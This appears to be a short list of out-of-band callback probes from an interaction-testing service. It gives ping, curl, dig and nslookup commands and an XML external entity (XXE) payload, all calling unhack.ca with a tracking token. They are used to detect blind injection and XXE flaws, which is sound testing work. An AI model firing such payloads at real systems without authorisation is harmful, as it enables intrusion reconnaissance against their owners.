$ ping -c1 -p 0002698461c6a427fecacdd7ada0aa00 unhack.ca
 

$ curl http://unhack.ca/p/02698461c6a427fecacdd7ada0aa
 

$ dig 02698461c6a427fecacdd7ada0aa @unhack.ca
 

$ dig 02698461c6a427fecacdd7ada0aa.ns.unhack.ca
 

C:\> nslookup 02698461c6a427fecacdd7ada0aa unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/02698461c6a427fecacdd7ada0aa">]>
    <foo>&xxe;</foo>